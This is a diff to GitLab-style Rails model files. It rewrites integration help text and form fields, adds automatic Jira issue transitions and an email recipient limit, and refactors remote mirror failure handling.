@@ -79,21 +79,25 @@ class DroneCiService < CiService
end
def title
- 'Drone CI'
+ 'Drone'
end
def description
- 'Drone is a Continuous Integration platform built on Docker, written in Go'
+ s_('ProjectService|Run CI/CD pipelines with Drone.')
end
def self.to_param
'drone_ci'
end
+ def help
+ s_('ProjectService|Run CI/CD pipelines with Drone.')
+ end
+
def fields
[
- { type: 'text', name: 'token', placeholder: 'Drone CI project specific token', required: true },
- { type: 'text', name: 'drone_url', placeholder: 'http://drone.example.com', required: true },
+ { type: 'text', name: 'token', help: s_('ProjectService|Token for the Drone project.'), required: true },
+ { type: 'text', name: 'drone_url', title: s_('ProjectService|Drone server URL'), placeholder: 'http://drone.example.com', required: true },
{ type: 'checkbox', name: 'enable_ssl_verification', title: "Enable SSL verification" }
]
end
diff --git a/app/models/project_services/emails_on_push_service.rb b/app/models/project_services/emails_on_push_service.rb
index 01d8647d439..cdb69684d16 100644
--- a/app/models/project_services/emails_on_push_service.rb
+++ b/app/models/project_services/emails_on_push_service.rb
@@ -3,10 +3,19 @@
class EmailsOnPushService < Service
include NotificationBranchSelection
+ RECIPIENTS_LIMIT = 750
+
boolean_accessor :send_from_committer_email
boolean_accessor :disable_diffs
prop_accessor :recipients, :branches_to_be_notified
- validates :recipients, presence: true, if: :valid_recipients?
+ validates :recipients, presence: true, if: :validate_recipients?
+ validate :number_of_recipients_within_limit, if: :validate_recipients?
+
+ def self.valid_recipients(recipients)
+ recipients.split.select do |recipient|
+ recipient.include?('@')
+ end.uniq(&:downcase)
+ end
def title
s_('EmailsOnPushService|Emails on push')
@@ -63,11 +72,26 @@ class EmailsOnPushService < Service
domains = Notify.allowed_email_domains.map { |domain| "user@#{domain}" }.join(", ")
[
{ type: 'checkbox', name: 'send_from_committer_email', title: s_("EmailsOnPushService|Send from committer"),
- help: s_("EmailsOnPushService|Send notifications from the committer's email address if the domain is part of the domain GitLab is running on (e.g. %{domains}).") % { domains: domains } },
+ help: s_("EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains}).") % { domains: domains } },
{ type: 'checkbox', name: 'disable_diffs', title: s_("EmailsOnPushService|Disable code diffs"),
help: s_("EmailsOnPushService|Don't include possibly sensitive code diffs in notification body.") },
{ type: 'select', name: 'branches_to_be_notified', choices: branch_choices },
- { type: 'textarea', name: 'recipients', placeholder: s_('EmailsOnPushService|Emails separated by whitespace') }
+ {
+ type: 'textarea',
+ name: 'recipients',
+ placeholder: s_('EmailsOnPushService|tanuki@example.com gitlab@example.com'),
+ help: s_('EmailsOnPushService|Emails separated by whitespace.')
+ }
]
end
+
+ private
+
+ def number_of_recipients_within_limit
+ return if recipients.blank?
+
+ if self.class.valid_recipients(recipients).size > RECIPIENTS_LIMIT
+ errors.add(:recipients, s_("EmailsOnPushService|can't exceed %{recipients_limit}") % { recipients_limit: RECIPIENTS_LIMIT })
+ end
+ end
end
diff --git a/app/models/project_services/external_wiki_service.rb b/app/models/project_services/external_wiki_service.rb
index 0a09000fff4..c41783d1af4 100644
--- a/app/models/project_services/external_wiki_service.rb
+++ b/app/models/project_services/external_wiki_service.rb
@@ -1,16 +1,16 @@
# frozen_string_literal: true
class ExternalWikiService < Service
+ include ActionView::Helpers::UrlHelper
prop_accessor :external_wiki_url
-
validates :external_wiki_url, presence: true, public_url: true, if: :activated?
def title
- s_('ExternalWikiService|External Wiki')
+ s_('ExternalWikiService|External wiki')
end
def description
- s_('ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki.')
+ s_('ExternalWikiService|Link to an external wiki from the sidebar.')
end
def self.to_param
@@ -22,12 +22,20 @@ class ExternalWikiService < Service
{
type: 'text',
name: 'external_wiki_url',
- placeholder: s_('ExternalWikiService|The URL of the external Wiki'),
+ title: s_('ExternalWikiService|External wiki URL'),
+ placeholder: s_('ExternalWikiService|https://example.com/xxx/wiki/...'),
+ help: 'Enter the URL to the external wiki.',
required: true
}
]
end
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/wiki/index', anchor: 'link-an-external-wiki'), target: '_blank', rel: 'noopener noreferrer'
+
+ s_('Link an external wiki from the project\'s sidebar. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
+ end
+
def execute(_data)
response = Gitlab::HTTP.get(properties['external_wiki_url'], verify: true)
response.body if response.code == 200
diff --git a/app/models/project_services/hipchat_service.rb b/app/models/project_services/hipchat_service.rb
index 22c2aebaec3..cd49c6d253d 100644
--- a/app/models/project_services/hipchat_service.rb
+++ b/app/models/project_services/hipchat_service.rb
@@ -39,7 +39,7 @@ class HipchatService < Service
{ type: 'text', name: 'room', placeholder: 'Room name or ID' },
{ type: 'checkbox', name: 'notify' },
{ type: 'select', name: 'color', choices: %w(yellow red green purple gray random) },
- { type: 'text', name: 'api_version',
+ { type: 'text', name: 'api_version', title: _('API version'),
placeholder: 'Leave blank for default (v2)' },
{ type: 'text', name: 'server',
placeholder: 'Leave blank for default. https://hipchat.example.com' },
diff --git a/app/models/project_services/irker_service.rb b/app/models/project_services/irker_service.rb
index 4a6c8339625..4f1ce16ebb2 100644
--- a/app/models/project_services/irker_service.rb
+++ b/app/models/project_services/irker_service.rb
@@ -6,7 +6,7 @@ class IrkerService < Service
prop_accessor :server_host, :server_port, :default_irc_uri
prop_accessor :recipients, :channels
boolean_accessor :colorize_messages
- validates :recipients, presence: true, if: :valid_recipients?
+ validates :recipients, presence: true, if: :validate_recipients?
before_validation :get_channels
diff --git a/app/models/project_services/issue_tracker_service.rb b/app/models/project_services/issue_tracker_service.rb
index 694374e9548..19a5b4a74bb 100644
--- a/app/models/project_services/issue_tracker_service.rb
+++ b/app/models/project_services/issue_tracker_service.rb
@@ -73,9 +73,9 @@ class IssueTrackerService < Service
def fields
[
- { type: 'text', name: 'project_url', placeholder: 'Project url', required: true },
- { type: 'text', name: 'issues_url', placeholder: 'Issue url', required: true },
- { type: 'text', name: 'new_issue_url', placeholder: 'New Issue url', required: true }
+ { type: 'text', name: 'project_url', title: _('Project URL'), required: true },
+ { type: 'text', name: 'issues_url', title: s_('ProjectService|Issue URL'), required: true },
+ { type: 'text', name: 'new_issue_url', title: s_('ProjectService|New issue URL'), required: true }
]
end
diff --git a/app/models/project_services/jenkins_service.rb b/app/models/project_services/jenkins_service.rb
index 63ecfc66877..6a123517b84 100644
--- a/app/models/project_services/jenkins_service.rb
+++ b/app/models/project_services/jenkins_service.rb
@@ -1,6 +1,8 @@
# frozen_string_literal: true
class JenkinsService < CiService
+ include ActionView::Helpers::UrlHelper
+
prop_accessor :jenkins_url, :project_name, :username, :password
before_update :reset_password
@@ -29,7 +31,6 @@ class JenkinsService < CiService
end
def execute(data)
- return if project.disabled_services.include?(to_param)
return unless supported_events.include?(data[:object_kind])
service_hook.execute(data, "#{data[:object_kind]}_hook")
@@ -59,15 +60,16 @@ class JenkinsService < CiService
end
def title
- 'Jenkins CI'
+ 'Jenkins'
end
def description
- 'An extendable open source continuous integration server'
+ s_('An extendable open source CI/CD server.')
end
def help
- "You must have installed the Git Plugin and GitLab Plugin in Jenkins. [More information](#{Gitlab::Routing.url_helpers.help_page_url('integration/jenkins')})"
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('integration/jenkins'), target: '_blank', rel: 'noopener noreferrer'
+ s_('Trigger Jenkins builds when you push to a repository, or when a merge request is created, updated, or merged. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
end
def self.to_param
@@ -77,15 +79,33 @@ class JenkinsService < CiService
def fields
[
{
- type: 'text', name: 'jenkins_url',
- placeholder: 'Jenkins URL like http://jenkins.example.com'
+ type: 'text',
+ name: 'jenkins_url',
+ title: s_('ProjectService|Jenkins server URL'),
+ required: true,
+ placeholder: 'http://jenkins.example.com',
+ help: s_('The URL of the Jenkins server.')
+ },
+ {
+ type: 'text',
+ name: 'project_name',
+ required: true,
+ placeholder: 'my_project_name',
+ help: s_('The name of the Jenkins project. Copy the name from the end of the URL to the project.')
},
{
- type: 'text', name: 'project_name', placeholder: 'Project Name',
- help: 'The URL-friendly project name. Example: my_project_name'
+ type: 'text',
+ name: 'username',
+ required: true,
+ help: s_('The username for the Jenkins server.')
},
- { type: 'text', name: 'username' },
- { type: 'password', name: 'password' }
+ {
+ type: 'password',
+ name: 'password',
+ help: s_('The password for the Jenkins server.'),
+ non_empty_password_title: s_('ProjectService|Enter new password.'),
+ non_empty_password_help: s_('ProjectService|Leave blank to use your current password.')
+ }
]
end
end
diff --git a/app/models/project_services/jira_service.rb b/app/models/project_services/jira_service.rb
index 5857d86f921..3e14bf44c12 100644
--- a/app/models/project_services/jira_service.rb
+++ b/app/models/project_services/jira_service.rb
@@ -31,8 +31,8 @@ class JiraService < IssueTrackerService
# TODO: we can probably just delegate as part of
# https://gitlab.com/gitlab-org/gitlab/issues/29404
- data_field :username, :password, :url, :api_url, :jira_issue_transition_id, :project_key, :issues_enabled,
- :vulnerabilities_enabled, :vulnerabilities_issuetype, :proxy_address, :proxy_port, :proxy_username, :proxy_password
+ data_field :username, :password, :url, :api_url, :jira_issue_transition_automatic, :jira_issue_transition_id, :project_key, :issues_enabled,
+ :vulnerabilities_enabled, :vulnerabilities_issuetype
before_update :reset_password
after_commit :update_deployment_type, on: [:create, :update], if: :update_deployment_type?
@@ -116,7 +116,7 @@ class JiraService < IssueTrackerService
end
def description
- s_('JiraService|Jira issue tracker')
+ s_('JiraService|Track issues in Jira')
end
def self.to_param
@@ -124,15 +124,37 @@ class JiraService < IssueTrackerService
end
def fields
- transition_id_help_path = help_page_path('user/project/integrations/jira', anchor: 'obtaining-a-transition-id')
- transition_id_help_link_start = '<a href="%{transition_id_help_path}" target="_blank" rel="noopener noreferrer">'.html_safe % { transition_id_help_path: transition_id_help_path }
-
[
- { type: 'text', name: 'url', title: s_('JiraService|Web URL'), placeholder: 'https://jira.example.com', required: true },
- { type: 'text', name: 'api_url', title: s_('JiraService|Jira API URL'), placeholder: s_('JiraService|If different from Web URL') },
- { type: 'text', name: 'username', title: s_('JiraService|Username or Email'), placeholder: s_('JiraService|Use a username for server version and an email for cloud version'), required: true },
- { type: 'password', name: 'password', title: s_('JiraService|Password or API token'), placeholder: s_('JiraService|Use a password for server version and an API token for cloud version'), required: true },
- { type: 'text', name: 'jira_issue_transition_id', title: s_('JiraService|Jira workflow transition IDs'), placeholder: s_('JiraService|For example, 12, 24'), help: s_('JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}'.html_safe % { link_start: transition_id_help_link_start, link_end: '</a>'.html_safe }) }
+ {
+ type: 'text',
+ name: 'url',
+ title: s_('JiraService|Web URL'),
+ placeholder: 'https://jira.example.com',
+ help: s_('JiraService|Base URL of the Jira instance.'),
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'api_url',
+ title: s_('JiraService|Jira API URL'),
+ help: s_('JiraService|If different from Web URL.')
+ },
+ {
+ type: 'text',
+ name: 'username',
+ title: s_('JiraService|Username or Email'),
+ help: s_('JiraService|Use a username for server version and an email for cloud version.'),
+ required: true
+ },
+ {
+ type: 'password',
+ name: 'password',
+ title: s_('JiraService|Password or API token'),
+ non_empty_password_title: s_('JiraService|Enter new password or API token'),
+ non_empty_password_help: s_('JiraService|Leave blank to use your current password or API token.'),
+ help: s_('JiraService|Use a password for server version and an API token for cloud version.'),
+ required: true
+ }
]
end
@@ -159,17 +181,19 @@ class JiraService < IssueTrackerService
# support any events.
end
- def find_issue(issue_key, rendered_fields: false)
- options = {}
- options = options.merge(expand: 'renderedFields') if rendered_fields
+ def find_issue(issue_key, rendered_fields: false, transitions: false)
+ expands = []
+ expands << 'renderedFields' if rendered_fields
+ expands << 'transitions' if transitions
+ options = { expand: expands.join(',') } if expands.any?
- jira_request { client.Issue.find(issue_key, options) }
+ jira_request { client.Issue.find(issue_key, options || {}) }
end
def close_issue(entity, external_issue, current_user)
- issue = find_issue(external_issue.iid)
+ issue = find_issue(external_issue.iid, transitions: jira_issue_transition_automatic)
- return if issue.nil? || has_resolution?(issue) || !jira_issue_transition_id.present?
+ return if issue.nil? || has_resolution?(issue) || !issue_transition_enabled?
commit_id = case entity
when Commit then entity.id
@@ -244,6 +268,10 @@ class JiraService < IssueTrackerService
true
end
+ def issue_transition_enabled?
+ jira_issue_transition_automatic || jira_issue_transition_id.present?
+ end
+
private
def server_info
@@ -264,20 +292,44 @@ class JiraService < IssueTrackerService
# the issue is transitioned at the order given by the user
# if any transition fails it will log the error message and stop the transition sequence
def transition_issue(issue)
- jira_issue_transition_id.scan(Gitlab::Regex.jira_transition_id_regex).each do |transition_id|
- issue.transitions.build.save!(transition: { id: transition_id })
- rescue => error
- log_error(
- "Issue transition failed",
- error: {
- exception_class: error.class.name,
- exception_message: error.message,
- exception_backtrace: Gitlab::BacktraceCleaner.clean_backtrace(error.backtrace)
- },
- client_url: client_url
- )
- return false
+ return transition_issue_to_done(issue) if jira_issue_transition_automatic
+
+ jira_issue_transition_id.scan(Gitlab::Regex.jira_transition_id_regex).all? do |transition_id|
+ transition_issue_to_id(issue, transition_id)
+ end
+ end
+
+ def transition_issue_to_id(issue, transition_id)
+ issue.transitions.build.save!(
+ transition: { id: transition_id }
+ )
+
+ true
+ rescue => error
+ log_error(
+ "Issue transition failed",
+ error: {
+ exception_class: error.class.name,
+ exception_message: error.message,
+ exception_backtrace: Gitlab::BacktraceCleaner.clean_backtrace(error.backtrace)
+ },
+ client_url: client_url
+ )
+
+ false
+ end
+
+ def transition_issue_to_done(issue)
+ transitions = issue.transitions rescue []
+
+ transition = transitions.find do |transition|
+ status = transition&.to&.statusCategory
+ status && status['key'] == 'done'
end
+
+ return false unless transition
+
+ transition_issue_to_id(issue, transition.id)
end
def log_usage(action, user)
diff --git a/app/models/project_services/jira_tracker_data.rb b/app/models/project_services/jira_tracker_data.rb
index 6cbcb1550c1..2c145abf5c9 100644
--- a/app/models/project_services/jira_tracker_data.rb
+++ b/app/models/project_services/jira_tracker_data.rb
@@ -2,20 +2,23 @@
class JiraTrackerData < ApplicationRecord
include Services::DataFields
+ include IgnorableColumns
+
+ ignore_columns %i[
+ encrypted_proxy_address
+ encrypted_proxy_address_iv
+ encrypted_proxy_port
+ encrypted_proxy_port_iv
+ encrypted_proxy_username
+ encrypted_proxy_username_iv
+ encrypted_proxy_password
+ encrypted_proxy_password_iv
+ ], remove_with: '14.0', remove_after: '2021-05-22'
attr_encrypted :url, encryption_options
attr_encrypted :api_url, encryption_options
attr_encrypted :username, encryption_options
attr_encrypted :password, encryption_options
- attr_encrypted :proxy_address, encryption_options
- attr_encrypted :proxy_port, encryption_options
- attr_encrypted :proxy_username, encryption_options
- attr_encrypted :proxy_password, encryption_options
-
- validates :proxy_address, length: { maximum: 2048 }
- validates :proxy_port, length: { maximum: 5 }
- validates :proxy_username, length: { maximum: 255 }
- validates :proxy_password, length: { maximum: 255 }
enum deployment_type: { unknown: 0, server: 1, cloud: 2 }, _prefix: :deployment
end
diff --git a/app/models/project_services/mattermost_service.rb b/app/models/project_services/mattermost_service.rb
index 9cff979fcf2..732a7c32a03 100644
--- a/app/models/project_services/mattermost_service.rb
+++ b/app/models/project_services/mattermost_service.rb
@@ -2,13 +2,14 @@
class MattermostService < ChatNotificationService
include SlackMattermost::Notifier
+ include ActionView::Helpers::UrlHelper
def title
- 'Mattermost notifications'
+ s_('Mattermost notifications')
end
def description
- 'Receive event notifications in Mattermost'
+ s_('Send notifications about project events to Mattermost channels.')
end
def self.to_param
@@ -16,21 +17,15 @@ class MattermostService < ChatNotificationService
end
def help
- 'This service sends notifications about projects events to Mattermost channels.<br />
- To set up this service:
- <ol>
- <li><a href="https://docs.mattermost.com/developer/webhooks-incoming.html#enabling-incoming-webhooks">Enable incoming webhooks</a> in your Mattermost installation.</li>
- <li><a href="https://docs.mattermost.com/developer/webhooks-incoming.html#creating-integrations-using-incoming-webhooks">Add an incoming webhook</a> in your Mattermost team. The default channel can be overridden for each event.</li>
- <li>Paste the webhook <strong>URL</strong> into the field below.</li>
- <li>Select events below to enable notifications. The <strong>Channel handle</strong> and <strong>Username</strong> fields are optional.</li>
- </ol>'
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/mattermost'), target: '_blank', rel: 'noopener noreferrer'
+ s_('Send notifications about project events to Mattermost channels. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
end
def default_channel_placeholder
- "Channel handle (e.g. town-square)"
+ 'my-channel'
end
def webhook_placeholder
- 'http://mattermost.example.com/hooks/…'
+ 'http://mattermost.example.com/hooks/'
end
end
diff --git a/app/models/project_services/mattermost_slash_commands_service.rb b/app/models/project_services/mattermost_slash_commands_service.rb
index f39d3947e5b..60235a09dcd 100644
--- a/app/models/project_services/mattermost_slash_commands_service.rb
+++ b/app/models/project_services/mattermost_slash_commands_service.rb
@@ -14,7 +14,7 @@ class MattermostSlashCommandsService < SlashCommandsService
end
def description
- "Perform common operations in Mattermost"
+ "Perform common tasks with slash commands."
end
def self.to_param
diff --git a/app/models/project_services/microsoft_teams_service.rb b/app/models/project_services/microsoft_teams_service.rb
index e8e12a9a206..803c1255195 100644
--- a/app/models/project_services/microsoft_teams_service.rb
+++ b/app/models/project_services/microsoft_teams_service.rb
@@ -2,7 +2,7 @@
class MicrosoftTeamsService < ChatNotificationService
def title
- 'Microsoft Teams Notification'
+ 'Microsoft Teams notifications'
end
def description
@@ -14,13 +14,7 @@ class MicrosoftTeamsService < ChatNotificationService
end
def help
- 'This service sends notifications about projects events to Microsoft Teams channels.<br />
- To set up this service:
- <ol>
- <li><a href="https://docs.microsoft.com/en-us/microsoftteams/platform/concepts/connectors/connectors-using#setting-up-a-custom-incoming-webhook">Setup a custom Incoming Webhook using Office 365 Connectors For Microsoft Teams</a>.</li>
- <li>Paste the <strong>Webhook URL</strong> into the field below.</li>
- <li>Select events below to enable notifications.</li>
- </ol>'
+ '<p>Use this service to send notifications about events in GitLab projects to your Microsoft Teams channels. <a href="https://docs.gitlab.com/ee/user/project/integrations/microsoft_teams.html">How do I configure this integration?</a></p>'
end
def webhook_placeholder
@@ -40,8 +34,8 @@ class MicrosoftTeamsService < ChatNotificationService
def default_fields
[
- { type: 'text', name: 'webhook', placeholder: "e.g. #{webhook_placeholder}" },
- { type: 'checkbox', name: 'notify_only_broken_pipelines' },
+ { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}" },
+ { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'If selected, successful pipelines do not trigger a notification event.' },
{ type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
]
end
diff --git a/app/models/project_services/mock_ci_service.rb b/app/models/project_services/mock_ci_service.rb
index c5e5f4f6400..bd6344c6e1a 100644
--- a/app/models/project_services/mock_ci_service.rb
+++ b/app/models/project_services/mock_ci_service.rb
@@ -21,10 +21,13 @@ class MockCiService < CiService
def fields
[
- { type: 'text',
+ {
+ type: 'text',
name: 'mock_service_url',
+ title: s_('ProjectService|Mock service URL'),
placeholder: 'http://localhost:4004',
- required: true }
+ required: true
+ }
]
end
diff --git a/app/models/project_services/pipelines_email_service.rb b/app/models/project_services/pipelines_email_service.rb
index 8af4cd952c9..0a0a41c525c 100644
--- a/app/models/project_services/pipelines_email_service.rb
+++ b/app/models/project_services/pipelines_email_service.rb
@@ -5,7 +5,7 @@ class PipelinesEmailService < Service
prop_accessor :recipients, :branches_to_be_notified
boolean_accessor :notify_only_broken_pipelines, :notify_only_default_branch
- validates :recipients, presence: true, if: :valid_recipients?
+ validates :recipients, presence: true, if: :validate_recipients?
def initialize_properties
if properties.nil?
@@ -25,11 +25,11 @@ class PipelinesEmailService < Service
end
def title
- _('Pipelines emails')
+ _('Pipeline status emails')
end
def description
- _('Email the pipelines status to a list of recipients.')
+ _('Email the pipeline status to a list of recipients.')
end
def self.to_param
@@ -64,7 +64,7 @@ class PipelinesEmailService < Service
[
{ type: 'textarea',
name: 'recipients',
- placeholder: _('Emails separated by comma'),
+ help: _('Comma-separated list of email addresses.'),
required: true },
{ type: 'checkbox',
name: 'notify_only_broken_pipelines' },
diff --git a/app/models/project_services/pushover_service.rb b/app/models/project_services/pushover_service.rb
index 7324890551c..1781ec7456d 100644
--- a/app/models/project_services/pushover_service.rb
+++ b/app/models/project_services/pushover_service.rb
@@ -20,7 +20,7 @@ class PushoverService < Service
def fields
[
- { type: 'text', name: 'api_key', placeholder: s_('PushoverService|Your application key'), required: true },
+ { type: 'text', name: 'api_key', title: _('API key'), placeholder: s_('PushoverService|Your application key'), required: true },
{ type: 'text', name: 'user_key', placeholder: s_('PushoverService|Your user key'), required: true },
{ type: 'text', name: 'device', placeholder: s_('PushoverService|Leave blank for all active devices') },
{ type: 'select', name: 'priority', required: true, choices:
diff --git a/app/models/project_services/redmine_service.rb b/app/models/project_services/redmine_service.rb
index df78520d65f..26a6cf86bf4 100644
--- a/app/models/project_services/redmine_service.rb
+++ b/app/models/project_services/redmine_service.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
class RedmineService < IssueTrackerService
+ include ActionView::Helpers::UrlHelper
validates :project_url, :issues_url, :new_issue_url, presence: true, public_url: true, if: :activated?
def title
@@ -8,7 +9,12 @@ class RedmineService < IssueTrackerService
end
def description
- s_('IssueTracker|Redmine issue tracker')
+ s_('IssueTracker|Use Redmine as the issue tracker.')
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/redmine'), target: '_blank', rel: 'noopener noreferrer'
+ s_('IssueTracker|Use Redmine as the issue tracker. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
end
def self.to_param
diff --git a/app/models/project_services/slack_service.rb b/app/models/project_services/slack_service.rb
index f42b3de39d5..7badcc24870 100644
--- a/app/models/project_services/slack_service.rb
+++ b/app/models/project_services/slack_service.rb
@@ -16,7 +16,7 @@ class SlackService < ChatNotificationService
end
def description
- 'Receive event notifications in Slack'
+ 'Send notifications about project events to Slack.'
end
def self.to_param
@@ -24,7 +24,7 @@ class SlackService < ChatNotificationService
end
def default_channel_placeholder
- _('Slack channels (e.g. general, development)')
+ _('general, development')
end
def webhook_placeholder
diff --git a/app/models/project_services/teamcity_service.rb b/app/models/project_services/teamcity_service.rb
index 209b691ef98..6fc24a4778c 100644
--- a/app/models/project_services/teamcity_service.rb
+++ b/app/models/project_services/teamcity_service.rb
@@ -51,27 +51,43 @@ class TeamcityService < CiService
end
def title
- 'JetBrains TeamCity CI'
+ 'JetBrains TeamCity'
end
def description
- 'A continuous integration and build server'
+ s_('ProjectService|Run CI/CD pipelines with JetBrains TeamCity.')
end
def help
- 'You will want to configure monitoring of all branches so merge '\
- 'requests build, that setting is in the vsc root advanced settings.'
+ s_('To run CI/CD pipelines with JetBrains TeamCity, input the GitLab project details in the TeamCity project Version Control Settings.')
end
def fields
[
- { type: 'text', name: 'teamcity_url',
- placeholder: 'TeamCity root URL like https://teamcity.example.com', required: true },
- { type: 'text', name: 'build_type',
- placeholder: 'Build configuration ID', required: true },
- { type: 'text', name: 'username',
- placeholder: 'A user with permissions to trigger a manual build' },
- { type: 'password', name: 'password' }
+ {
+ type: 'text',
+ name: 'teamcity_url',
+ title: s_('ProjectService|TeamCity server URL'),
+ placeholder: 'https://teamcity.example.com',
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'build_type',
+ help: s_('ProjectService|The build configuration ID of the TeamCity project.'),
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'username',
+ help: s_('ProjectService|Must have permission to trigger a manual build in TeamCity.')
+ },
+ {
+ type: 'password',
+ name: 'password',
+ non_empty_password_title: s_('ProjectService|Enter new password'),
+ non_empty_password_help: s_('ProjectService|Leave blank to use your current password')
+ }
]
end
diff --git a/app/models/project_services/youtrack_service.rb b/app/models/project_services/youtrack_service.rb
index 7fb3bde44a5..30abd0159b3 100644
--- a/app/models/project_services/youtrack_service.rb
+++ b/app/models/project_services/youtrack_service.rb
@@ -26,8 +26,8 @@ class YoutrackService < IssueTrackerService
def fields
[
- { type: 'text', name: 'project_url', title: 'Project URL', placeholder: 'Project URL', required: true },
- { type: 'text', name: 'issues_url', title: 'Issue URL', placeholder: 'Issue URL', required: true }
+ { type: 'text', name: 'project_url', title: _('Project URL'), required: true },
+ { type: 'text', name: 'issues_url', title: s_('ProjectService|Issue URL'), required: true }
]
end
end
diff --git a/app/models/project_team.rb b/app/models/project_team.rb
index 5b7eded00cd..1a3f362e6a1 100644
--- a/app/models/project_team.rb
+++ b/app/models/project_team.rb
@@ -174,6 +174,10 @@ class ProjectTeam
end
end
+ def write_member_access_for_user_id(user_id, project_access_level)
+ merge_value_to_request_store(User, user_id, project.id, project_access_level)
+ end
+
def max_member_access(user_id)
max_member_access_for_user_ids([user_id])[user_id]
end
diff --git a/app/models/protected_branch.rb b/app/models/protected_branch.rb
index cbbdd091feb..963a6b7774a 100644
--- a/app/models/protected_branch.rb
+++ b/app/models/protected_branch.rb
@@ -30,7 +30,7 @@ class ProtectedBranch < ApplicationRecord
end
def self.allow_force_push?(project, ref_name)
- return false unless ::Feature.enabled?(:allow_force_push_to_protected_branches, project)
+ return false unless ::Feature.enabled?(:allow_force_push_to_protected_branches, project, default_enabled: :yaml)
project.protected_branches.allowing_force_push.matching(ref_name).any?
end
diff --git a/app/models/raw_usage_data.rb b/app/models/raw_usage_data.rb
index 06cd4ad3f6c..6fe3b26b58b 100644
--- a/app/models/raw_usage_data.rb
+++ b/app/models/raw_usage_data.rb
@@ -4,7 +4,7 @@ class RawUsageData < ApplicationRecord
validates :payload, presence: true
validates :recorded_at, presence: true, uniqueness: true
- def update_sent_at!
- self.update_column(:sent_at, Time.current)
+ def update_version_metadata!(usage_data_id:)
+ self.update_columns(sent_at: Time.current, version_usage_data_id_value: usage_data_id)
end
end
diff --git a/app/models/release.rb b/app/models/release.rb
index 60c2abcacb3..5ca8f537baa 100644
--- a/app/models/release.rb
+++ b/app/models/release.rb
@@ -8,7 +8,7 @@ class Release < ApplicationRecord
cache_markdown_field :description
- belongs_to :project
+ belongs_to :project, touch: true
# releases prior to 11.7 have no author
belongs_to :author, class_name: 'User'
diff --git a/app/models/release_highlight.rb b/app/models/release_highlight.rb
index 1efba6380e9..98d9899a349 100644
--- a/app/models/release_highlight.rb
+++ b/app/models/release_highlight.rb
@@ -3,17 +3,6 @@
class ReleaseHighlight
CACHE_DURATION = 1.hour
FILES_PATH = Rails.root.join('data', 'whats_new', '*.yml')
- RELEASE_VERSIONS_IN_A_YEAR = 12
-
- def self.for_version(version:)
- index = self.versions.index(version)
-
- return if index.nil?
-
- page = index + 1
-
- self.paginated(page: page)
- end
def self.paginated(page: 1)
key = self.cache_key("items:page-#{page}")
@@ -82,15 +71,15 @@ class ReleaseHighlight
end
end
- def self.versions
- key = self.cache_key('versions')
+ def self.most_recent_version_digest
+ key = self.cache_key('most_recent_version_digest')
Gitlab::ProcessMemoryCache.cache_backend.fetch(key, expires_in: CACHE_DURATION) do
- versions = self.file_paths.first(RELEASE_VERSIONS_IN_A_YEAR).map do |path|
- /\d*\_(\d*\_\d*)\.yml$/.match(path).captures[0].gsub(/0(?=\d)/, "").tr("_", ".")
- end
+ version = self.paginated&.items&.first&.[]('release')&.to_s
+
+ next if version.nil?
- versions.uniq
+ Digest::SHA256.hexdigest(version)
end
end
diff --git a/app/models/remote_mirror.rb b/app/models/remote_mirror.rb
index 880970b72a8..c7387d2197d 100644
--- a/app/models/remote_mirror.rb
+++ b/app/models/remote_mirror.rb
@@ -84,13 +84,7 @@ class RemoteMirror < ApplicationRecord
end
after_transition started: :failed do |remote_mirror|
- Gitlab::Metrics.add_event(:remote_mirrors_failed)
-
- remote_mirror.update(last_update_at: Time.current)
-
- remote_mirror.run_after_commit do
- RemoteMirrorNotificationWorker.perform_async(remote_mirror.id)
- end
+ remote_mirror.send_failure_notifications
end
end
@@ -188,6 +182,24 @@ class RemoteMirror < ApplicationRecord
update_fail!
end
+ # Force the mrror into the retry state
+ def hard_retry!(error_message)
+ update_error_message(error_message)
+ self.update_status = :to_retry
+
+ save!(validate: false)
+ end
+
+ # Force the mirror into the failed state
+ def hard_fail!(error_message)
+ update_error_message(error_message)
+ self.update_status = :failed
+
+ save!(validate: false)
+
+ send_failure_notifications
+ end
+
def url=(value)
super(value) && return unless Gitlab::UrlSanitizer.valid?(value)
@@ -207,7 +219,7 @@ class RemoteMirror < ApplicationRecord
end
def safe_url
- super(usernames_whitelist: %w[git])
+ super(allowed_usernames: %w[git])
end
def bare_url
@@ -239,6 +251,17 @@ class RemoteMirror < ApplicationRecord
last_update_at.present? ? MAX_INCREMENTAL_RUNTIME : MAX_FIRST_RUNTIME
end
+ def send_failure_notifications
+ Gitlab::Metrics.add_event(:remote_mirrors_failed)
+
+ run_after_commit do
+ RemoteMirrorNotificationWorker.perform_async(id)
+ end
+
+ self.last_update_at = Time.current
+ save!(validate: false)
+ end
+
private
def store_credentials
diff --git a/app/models/repository.rb b/app/models/repository.rb
index 84ca8f0c12a..b2efc9b480b 100644
--- a/app/models/repository.rb
+++ b/app/models/repository.rb
@@ -288,6 +288,10 @@ class Repository
false
end
+ def search_branch_names(pattern)
+ redis_set_cache.search('branch_names', pattern) { branch_names }
+ end
+
def languages
return [] if empty?
@@ -829,12 +833,6 @@ class Repository
end
end
- def merge_to_ref(user, source_sha, merge_request, target_ref, message, first_parent_ref, allow_conflicts = false)
- branch = merge_request.target_branch
-
- raw.merge_to_ref(user, source_sha, branch, target_ref, message, first_parent_ref, allow_conflicts)
- end
-
def delete_refs(*ref_names)
raw.delete_refs(*ref_names)
end
@@ -995,6 +993,12 @@ class Repository
raw_repository.search_files_by_name(query, ref)
end
